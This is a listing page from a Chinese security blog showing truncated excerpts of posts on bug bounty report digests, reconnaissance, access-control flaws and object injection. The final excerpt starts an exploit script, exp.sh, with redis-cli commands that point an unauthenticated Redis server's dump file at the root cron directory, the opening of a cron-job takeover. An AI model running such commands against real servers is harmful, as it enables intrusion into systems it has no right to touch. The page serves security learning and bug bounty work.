技术教程-渗透云记 - 专注于网络安全与技术分享-第133页

第十六期「听火」线上会议沙龙即将袭来，主题「协同模式下的渗透测试」

十五期内容回顾 http://zone.huoxian.cn/d/585 主题：协同模式下的渗透测试简介：古人云：“工欲善其事，必先利其器。随着项目协同平台http://coop.huoxian.cn/overview的对外开放，很多小伙...

云记2022年3月10日 23:32

020

bugbounty技巧聚合20211012

漏洞报告【Mail.ru】 grafana-lms.rsv.bizml.ru Grafana未授权存储XSS(CVE-2020-11110) http://hackerone.com/reports/1329433 【Gitlab 1020刀】通过项目令牌将“外部用户”（具有维护者权限...

云记2022年3月10日 23:32

020

信息收集系列之网站快照

0x01 前言似乎有20天没更新信息收集系列文章，水一篇。在我们渗透/挖洞过程中，网站快照总能帮我们快速甄别有趣的资产。市面上也有很多工具可以对网站进行截图，例如aquatone、EyeWitness、go...

云记2022年3月10日 23:32

020

空白页面不要慌，我来跟你讲一讲

一次偶然的src挖掘，上班摸鱼中没啥事干，觉得有点空虚就来挖会洞吧，打开xray直接联动，点开页面开始整点开发现虽然有title，但是页面是空白的但是响应正常，这就很烦啊瞅了一眼xray，发现...

云记2022年3月10日 23:32

020

bugbounty技巧聚合20211102

挖洞技巧如何成为智能合约审计师 http://cmichel.io/how-to-become-a-smart-contract-auditor/ 域接管的5 种方法 http://redhuntlabs.com/blog/5-ways-to-exploit-a-domain-takeover-vulnerabi...

云记2022年3月10日 23:32

000

bugbounty技巧聚合20211014

漏洞报告【U.S. Dept Of Defense】路径遍历 http://hackerone.com/reports/1212746 【U.S. Dept Of Defense】基于post请求的反射xss http://hackerone.com/reports/998935 【U.S. Dept Of Defe...

云记2022年3月10日 23:32

010

bugbounty技巧聚合20211025

漏洞报告【Gitlab 1,800 USD】[Java] CWE-502: Unsafe deserialization with three JSON frameworks http://hackerone.com/reports/1368720 【Gitlab 1,800 USD】[Python]: CWE-117 Log Inject...

云记2022年3月10日 23:32

010

bugbounty技巧聚合20211213

漏洞报告微软和 GitHub OAuth 实施漏洞导致重定向攻击 http://www.proofpoint.com/us/blog/cloud-security/microsoft-and-github-oauth-implementation-vulnerabilities-lead-redirection 挖洞...

云记2022年3月10日 23:32

010

简单的细节处越权漏洞

在挖（捡）src的过程中，遇到一个视频制作教学类的站点，尝试一波信息收集后没什么太大收获，就开始尝试对网站的功能处进行测试，用自己的账号登录后挨个查看网站内容的时候，发现一个模块无权...

云记2022年3月10日 23:32

030

bugbounty技巧聚合20210906

漏洞报告 #1145044 Holes in EndpointSlice Validation Enable Host Network Hijack #1095612 Node Validation Admission does not observe all oldObject fields Mail.ru #1241637 information...

云记2022年3月10日 23:32

000

bugbounty技巧聚合20220211

漏洞报告自动填充导致信息泄露1900$ http://hackerone.com/reports/1083922 垂直越权 800$ http://hackerone.com/reports/1392032 Spring Boot信息泄露 5000$ http://hackerone.com/reports/10...

云记2022年3月10日 23:32

000

越权测试小技巧：利用对象注入(Object Injection)

越权测试小技巧：利用对象注入(Object Injection) POST /email Host: localhost Content-Type: application/json {'email':'guest@example.com'} ------------------- POST /email Host: localh...

云记2022年3月10日 23:32

010

快捷方法利用gopher+redis未授权

Linux操作系统写入计划任务的操作为例，编写exp.sh： redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 set 1...

云记2022年3月10日 23:32

030